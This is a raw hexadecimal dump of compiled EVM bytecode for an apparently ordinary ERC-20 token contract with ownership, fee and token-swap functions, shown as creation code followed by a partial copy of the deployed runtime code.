f576200092e62000843565b5b8360020a91508482111562000949576200094862000843565b5b50620009b9565b5060208310610133831016604e8410600b84101617156200098a5782820a90508381111562000984576200098362000843565b5b620009b9565b6200099984848460016200087c565b92509050818404811115620009b357620009b262000843565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620009d88262000426565b9150620009e583620009c0565b925062000a147fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008d6565b905092915050565b5f62000a288262000426565b915062000a358362000426565b925082820262000a458162000426565b9150828204841483151762000a5f5762000a5e62000843565b5b5092915050565b5f62000a7282620009c0565b915062000a7f83620009c0565b925082820262000a8f81620009c0565b915080821462000aa45762000aa362000843565b5b5092915050565b62000ab68162000426565b82525050565b5f60208201905062000ad15f83018462000aab565b92915050565b6131df8062000ae55f395ff3fe6080604052600436106101e6575f3560e01c8063914eb66a11610101578063c816841b11610094578063dd62ed3e11610063578063dd62ed3e14610705578063f039c69f14610741578063f2fde38b1461076b578063f9323a3214610793576101ed565b8063c816841b1461064b578063d158272d14610675578063d59c58be1461069f578063da00097d146106db576101ed565b8063a83f53a7116100d0578063a83f53a714610591578063a9059cbb146105bb578063b2bdfa7b146105f7578063b45a386414610621576101ed565b8063914eb66a146104eb57806395d89b4114610501578063a08e671f1461052b578063a457c2d714610555576101ed565b8063313ce5671161017957806357a5802f1161014857806357a5802f1461043157806361a23c691461045b57806370a08231146104855780638da5cb5b146104c1576101ed565b8063313ce56714610365578063395093511461038f5780633ecad271146103cb578063557ed1ba14610407576101ed565b806318160ddd116101b557806318160ddd146102ab57806323b872dd146102d557806327c8f835146103115780632b112e491461033b576101ed565b806306fdde03146101f1578063095ea7b31461021b5780631245e347146102575780631694505e14610281576101ed565b366101ed57005b5f80fd5b3480156101fc575f80fd5b506102056107bd565b60405161021291906125da565b60405180910390f35b348015610226575f80fd5b50610241600480360381019061023c919061268b565b61084d565b60405161024e91906126e3565b60405180910390f35b348015610262575f80fd5b5061026b61086a565b604051610278919061271c565b60405180910390f35b34801561028c575f80fd5b5061029561088f565b6040516102a29190612790565b60405180910390f35b3480156102b6575f80fd5b506102bf6108b4565b6040516102cc91906127b8565b60405180910390f35b3480156102e0575f80fd5b506102fb60048036038101906102f691906127d1565b6108bd565b60405161030891906126e3565b60405180910390f35b34801561031c575f80fd5b50610325610992565b6040516103329190612830565b60405180910390f35b348015610346575f80fd5b5061034f6109b7565b60405161035c91906127b8565b60405180910390f35b348015610370575f80fd5b506103796109fb565b6040516103869190612864565b60405180910390f35b34801561039a575f80fd5b506103b560048036038101906103b0919061268b565b610a10565b6040516103c291906126e3565b60405180910390f35b3480156103d6575f80fd5b506103f160048036038101906103ec919061287d565b610abe565b6040516103fe91906126e3565b60405180910390f35b348015610412575f80fd5b5061041b610adb565b60405161042891906127b8565b60405180910390f35b34801561043c575f80fd5b50610445610ae2565b60405161045291906127b8565b60405180910390f35b348015610466575f80fd5b5061046f610ae8565b60405161047c91906127b8565b60405180910390f35b348015610490575f80fd5b506104ab60048036038101906104a6919061287d565b610aee565b6040516104b891906127b8565b60405180910390f35b3480156104cc575f80fd5b506104d5610b34565b6040516104e29190612830565b60405180910390f35b3480156104f6575f80fd5b506104ff610b5b565b005b34801561050c575f80fd5b50610515610ca9565b60405161052291906125da565b60405180910390f35b348015610536575f80fd5b5061053f610d39565b60405161054c91906127b8565b60405180910390f35b348015610560575f80fd5b5061057b6004803603810190610576919061268b565b610d3f565b60405161058891906126e3565b60405180910390f35b34801561059c575f80fd5b506105a5610e07565b6040516105b291906127b8565b60405180910390f35b3480156105c6575f80fd5b506105e160048036038101906105dc919061268b565b610e0d565b6040516105ee91906126e3565b60405180910390f35b348015610602575f80fd5b5061060b610e2b565b6040516106189190612830565b60405180910390f35b34801561062c575f80fd5b50610635610e4e565b60405161064291906127b8565b60405180910390f35b348015610656575f80fd5b5061065f610e54565b60405161066c9190612830565b60405180910390f35b348015610680575f80fd5b50610689610e79565b604051610696919061271c565b60405180910390f35b3480156106aa575f80fd5b506106c560048036038101906106c0919061287d565b610e9f565b6040516106d29190612830565b60405180910390f35b3480156106e6575f80fd5b506106ef61134d565b6040516106fc91906126e3565b60405180910390f35b348015610710575f80fd5b5061072b600480360381019061072691906128a8565b611360565b60405161073891906127b8565b60405180910390f35b34801561074c575f80fd5b506107556113e2565b60405161076291906126e3565b60405180910390f35b348015610776575f80fd5b50610791600480360381019061078c919061287d565b6113f5565b005b34801561079e575f80fd5b506107a76115b2565b6040516107b491906127b8565b60405180910390f35b6060600180546107cc90612913565b80601f01602080910402602001604051908101604052809291908181526020018280546107f890612913565b80156108435780601f1061081a57610100808354040283529160200191610843565b820191905f5260205f20905b81548152906001019060200180831161082657829003601f168201915b5050505050905090565b5f6108606108596115b8565b84846115bf565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601054905090565b5f6108c9848484611782565b50610987846108d66115b8565b6109828560405180606001604052806028815260200161315d6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6109396115b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b689092919063ffffffff16565b6115bf565b600190509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6109f66109e560055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610aee565b601054611bca90919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610ab4610a1c6115b8565b84610aaf8560075f610a2c6115b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1390919063ffffffff16565b6115bf565b6001905092915050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f42905090565b600a5481565b600b5481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b636115b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be69061298d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610cb890612913565b80601f0160208091040260200160405190810160405280929190818152602001828054610ce490612913565b8015610d2f5780601f10610d0657610100808354040283529160200191610d2f565b820191905f5260205f20905b815481529060010190602001808311610d1257829003601f168201915b5050505050905090565b600d5481565b5f610dfd610d4b6115b8565b84610df8856040518060600160405280602581526020016131856025913960075f610d746115b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b689092919063ffffffff16565b6115bf565b6001905092915050565b600c5481565b5f610e20610e196115b8565b8484611782565b506001905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ea86115b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b9061298d565b60405180910390fd5b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc691906129bf565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561102b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061104f91906129bf565b6040518363ffffffff1660e01b815260040161106c9291906129ea565b602060405180830381865afa158015611087573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ab91906129bf565b91505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611236578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611129573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114d91906129bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111d691906129bf565b6040518363ffffffff1660e01b81526004016111f39291906129ea565b6020604051808303815f875af115801561120f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061123391906129bf565b91505b8160135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360166101000a81548160ff021916908315150217905550600160095f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050919050565b601360149054906101000a900460ff1681565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b601360169054906101000a900460ff1681565b6113fd6115b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611489576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114809061298d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ee90612a81565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361162d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162490612b0f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169290612b9d565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161177591906127b8565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036117f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e890612c2b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361185f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185690612cb9565b60405180910390fd5b5f82116118a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189890612d47565b60405180910390fd5b601360159054906101000a900460ff16156118c8576118c1848484611c70565b9050611b61565b5f6118d230610aee565b90505f60115482101590508080156118f75750601360159054906101000a900460ff16155b801561194a575060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156119625750601360169054906101000a900460ff165b1561198d57601360149054906101000a900460ff16156119825760115491505b61198c8287611e3a565b5b611a14846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b689092919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f611a61878787611f0e565b9050611ab38160065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1390919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b5191906127b8565b60405180910390a3600193505050505b9392505050565b5f838311158290611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba691906125da565b60405180910390fd5b505f8385611bbd9190612d92565b9050809150509392505050565b5f611c0b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b68565b905092915050565b5f808284611c219190612dc5565b905083811015611c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5d90612e42565b60405180910390fd5b8091505092915050565b5f611cf8826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b689092919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d898260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1390919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e2791906127b8565b60405180910390a3600190509392505050565b6001601360156101000a81548160ff0219169083151502179055505f611e926002611e84600d54611e76600a548861212890919063ffffffff16565b61219f90919063ffffffff16565b61219f90919063ffffffff16565b90505f611ea88285611bca90919063ffffffff16565b9050611eb481846121e8565b5f4790505f811115611eed57611eec600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826124a7565b5b5050505f601360156101000a81548160ff0219169083151502179055505050565b5f805f905060095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611f9157611f8a6064611f7c600e548661212890919063ffffffff16565b61219f90919063ffffffff16565b905061200c565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561200b576120086064611ffa600f548661212890919063ffffffff16565b61219f90919063ffffffff16565b90505b5b5f81111561210b576120648160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1390919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161210291906127b8565b60405180910390a35b61211e8184611bca90919063ffffffff16565b9150509392505050565b5f808303612138575f9050612199565b5f82846121459190612e60565b90508284826121549190612ece565b14612194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218b90612f6e565b60405180910390fd5b809150505b92915050565b5f6121e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ef565b905092915050565b5f600367ffffffffffffffff81111561220457612203612f8c565b5b6040519080825280602002602001820160405280156122325781602001602082028036833780820191505090505b50905030815f8151811061224957612248612fb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050818160018151811061229857612297612fb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561233c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061236091906129bf565b8160028151811061237457612373612fb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123da3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856115bf565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b815260040161243c9594939291906130d6565b5f604051808303815f87803b158015612453575f80fd5b505af1158015612465573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7838260405161249a92919061312e565b60405180910390a1505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156124ea573d5f803e3d5ffd5b505050565b5f8083118290612535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252c91906125da565b60405180910390fd5b505f83856125439190612ece565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561258757808201518184015260208101905061256c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6125ac82612550565b6125b6818561255a565b93506125c681856020860161256a565b6125cf81612592565b840191505092915050565b5f6020820190508181035f8301526125f281846125a2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612627826125fe565b9050919050565b6126378161261d565b8114612641575f80fd5b50565b5f813590506126528161262e565b92915050565b5f819050919050565b61266a81612658565b8114612674575f80fd5b50565b5f8135905061268581612661565b92915050565b5f80604083850312156126a1576126a06125fa565b5b5f6126ae85828601612644565b92505060206126bf85828601612677565b9150509250929050565b5f8115159050919050565b6126dd816126c9565b82525050565b5f6020820190506126f65f8301846126d4565b92915050565b5f612706826125fe565b9050919050565b612716816126fc565b82525050565b5f60208201905061272f5f83018461270d565b92915050565b5f819050919050565b5f61275861275361274e846125fe565b612735565b6125fe565b9050919050565b5f6127698261273e565b9050919050565b5f61277a8261275f565b9050919050565b61278a81612770565b82525050565b5f6020820190506127a35f830184612781565b92915050565b6127b281612658565b82525050565b5f6020820190506127cb5f8301846127a9565b92915050565b5f805f606084860312156127e8576127e76125fa565b5b5f6127f586828701612644565b935050602061280686828701612644565b925050604061281786828701612677565b9150509250925092565b61282a8161261d565b82525050565b5f6020820190506128435f830184612821565b92915050565b5f60ff82169050919050565b61285e81612849565b82525050565b5f6020820190506128775f830184612855565b92915050565b5f60208284031215612892576128916125fa565b5b5f61289f84828501612644565b91505092915050565b5f80604083850312156128be576128bd6125fa565b5b5f6128cb85828601612644565b92505060206128dc85828601612644565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061292a57607f821691505b60208210810361293d5761293c6128e6565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61297760208361255a565b915061298282612943565b602082019050919050565b5f6020820190508181035f8301526129a48161296b565b9050919050565b5f815190506129b98161262e565b92915050565b5f602082840312156129d4576129d36125fa565b5b5f6129e1848285016129ab565b91505092915050565b5f6040820190506129fd5f830185612821565b612a0a6020830184612821565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a6b60268361255a565b9150612a7682612a11565b604082019050919050565b5f6020820190508181035f830152612a9881612a5f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612af960248361255a565b9150612b0482612a9f565b604082019050919050565b5f6020820190508181035f830152612b2681612aed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b8760228361255a565b9150612b9282612b2d565b604082019050919050565b5f6020820190508181035f830152612bb481612b7b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c1560258361255a565b9150612c2082612bbb565b604082019050919050565b5f6020820190508181035f830152612c4281612c09565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ca360238361255a565b9150612cae82612c49565b604082019050919050565b5f6020820190508181035f830152612cd081612c97565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d3160298361255a565b9150612d3c82612cd7565b604082019050919050565b5f6020820190508181035f830152612d5e81612d25565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d9c82612658565b9150612da783612658565b9250828203905081811115612dbf57612dbe612d65565b5b92915050565b5f612dcf82612658565b9150612dda83612658565b9250828201905080821115612df257612df1612d65565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612e2c601b8361255a565b9150612e3782612df8565b602082019050919050565b5f6020820190508181035f830152612e5981612e20565b9050919050565b5f612e6a82612658565b9150612e7583612658565b9250828202612e8381612658565b91508282048414831517612e9a57612e99612d65565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ed882612658565b9150612ee383612658565b925082612ef357612ef2612ea1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f5860218361255a565b9150612f6382612efe565b604082019050919050565b5f6020820190508181035f830152612f8581612f4c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f613009613004612fff84612fe6565b612735565b612658565b9050919050565b61301981612fef565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6130518161261d565b82525050565b5f6130628383613048565b60208301905092915050565b5f602082019050919050565b5f6130848261301f565b61308e8185613029565b935061309983613039565b805f5b838110156130c95781516130b08882613057565b97506130bb8361306e565b92505060018101905061309c565b5085935050505092915050565b5f60a0820190506130e95f8301886127a9565b6130f66020830187613010565b8181036040830152613108818661307a565b90506131176060830185612821565b61312460808301846127a9565b9695505050505050565b5f6040820190506131415f8301856127a9565b8181036020830152613153818461307a565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f91ccc3c96ab8f55253126607f6d3d7d23bde7a321909f01d83a6b3754662d7864736f6c634300081500330000000000000000000000000000000000000000000000000000000002faf0800000000000000000000000008a9ed2d098e3c3e22b27c3491da4e49045e6a93d

Deployed Bytecode

0x6080604052600436106101e6575f3560e01c8063914eb66a11610101578063c816841b11610094578063dd62ed3e11610063578063dd62ed3e14610705578063f039c69f14610741578063f2fde38b1461076b578063f9323a3214610793576101ed565b8063c816841b1461064b578063d158272d14610675578063d59c58be1461069f578063da00097d146106db576101ed565b8063a83f53a7116100d0578063a83f53a714610591578063a9059cbb146105bb578063b2bdfa7b146105f7578063b45a386414610621576101ed565b8063914eb66a146104eb57806395d89b4114610501578063a08e671f1461052b578063a457c2d714610555576101ed565b8063313ce5671161017957806357a5802f1161014857806357a5802f1461043157806361a23c691461045b57806370a08231146104855780638da5cb5b146104c1576101ed565b8063313ce56714610365578063395093511461038f5780633ecad271146103cb578063557ed1ba14610407576101ed565b806318160ddd116101b557806318160ddd146102ab57806323b872dd146102d557806327c8f835146103115780632b112e491461033b576101ed565b806306fdde03146101f1578063095ea7b31461021b5780631245e347146102575780631694505e14610281576101ed565b366101ed57005b5f80fd5b3480156101fc575f80fd5b506102056107bd565b60405161021291906125da565b60405180910390f35b348015610226575f80fd5b50610241600480360381019061023c919061268b565b61084d565b60405161024e91906126e3565b60405180910390f35b348015610262575f80fd5b5061026b61086a565b604051610278919061271c565b60405180910390f35b34801561028c575f80fd5b5061029561088f565b6040516102a29190612790565b60405180910390f35b3480156102b6575f80fd5b506102bf6108b4565b6040516102cc91906127b8565b60405180910390f35b3480156102e0575f80fd5b506102fb60048036038101906102f691906127d1565b6108bd565b60405161030891906126e3565b60405180910390f35b34801561031c575f80fd5b50610325610992565b6040516103329190612830565b60405180910390f35b348015610346575f80fd5b5061034f6109b7565b60405161035c91906127b8565b60405180910390f35b348015610370575f80fd5b506103796109fb565b6040516103869190612864565b60405180910390f35b34801561039a575f80fd5b506103b560048036038101906103b0919061268b565b610a10565b6040516103c291906126e3565b60405180910390f35b3480156103d6575f80fd5b506103f160048036038101906103ec919061287d565b610abe565b6040516103fe91906126e3565b60405180910390f35b348015610412575f80fd5b5061041b610adb565b60405161042891906127b8565b60405180910390f35b34801561043c575f80fd5b50610445610ae2565b60405161045291906127b8565b60405180910390f35b348015610466575f80fd5b5061046f610ae8565b60405161047c91906127b8565b60405180910390f35b348015610490575f80fd5b506104ab60048036038101906104a6919061287d565b610aee565b6040516104b891906127b8565b60405180910390f35b3480156104cc575f80fd5b506104d5610b34565b6040516104e29190612830565b60405180910390f35b3480156104f6575f80fd5b506104ff610b5b565b005b34801561050c575f80fd5b50610515610ca9565b60405161052291906125da565b60405180910390f35b348015610536575f80fd5b5061053f610d39565b60405161054c91906127b8565b60405180910390f35b348015610560575f80fd5b5061057b6004803603810190610576919061268b565b610d3f565b60405161058891906126e3565b60405180910390f35b34801561059c575f80fd5b506105a5610e07565b6040516105b291906127b8565b60405180910390f35b3480156105c6575f80fd5b506105e160048036038101906105dc919061268b565b610e0d565b6040516105ee91906126e3565b60405180910390f35b348015610602575f80fd5b5061060b610e2b565b6040516106189190612830565b60405180910390f35b34801561062c575f80fd5b50610635610e4e565b60405161064291906127b8565b60405180910390f35b348015610656575f80fd5b5061065f610e54565b60405161066c9190612830565b60405180910390f35b348015610680575f80fd5b50610689610e79565b604051610696919061271c565b60405180910390f35b3480156106aa575f80fd5b506106c560048036038101906106c0919061287d565b610e9f565b6040516106d29190612830565b60405180910390f35b3480156106e6575f80fd5b506106ef61134d565b6040516106fc91906126e3565b60405180910390f35b348015610710575f80fd5b5061072b600480360381019061072691906128a8565b611360565b60405161073891906127b8565b60405180910390f35b34801561074c575f80fd5b506107556113e2565b60405161076291906126e3565b60405180910390f35b348015610776575f80fd5b50610791600480360381019061078c919061287d565b6113f5565b005b34801561079e575f80fd5b506107a76115b2565b6040516107b491906127b8565b60405180910390f35b6060600180546107cc90612913565b80601f01602080910402602001604051908101604052809291908181526020018280546107f890612913565b80156108435780601f1061081a57610100808354040283529160200191610843565b820191905f5260205f20905b81548152906001019060200180831161082657829003601f168201915b5050505050905090565b5f6108606108596115b8565b84846115bf565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601054905090565b5f6108c9848484611782565b50610987846108d66115b8565b6109828560405180606001604052806028815260200161315d6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6109396115b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b689092919063ffffffff16565b6115bf565b600190509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6109f66109e560055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610aee565b601054611bca90919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610ab4610a1c6115b8565b84610aaf8560075f610a2c6115b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1390919063ffffffff16565b6115bf565b6001905092915050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f42905090565b600a5481565b600b5481565b5f60065f8373fffffffffff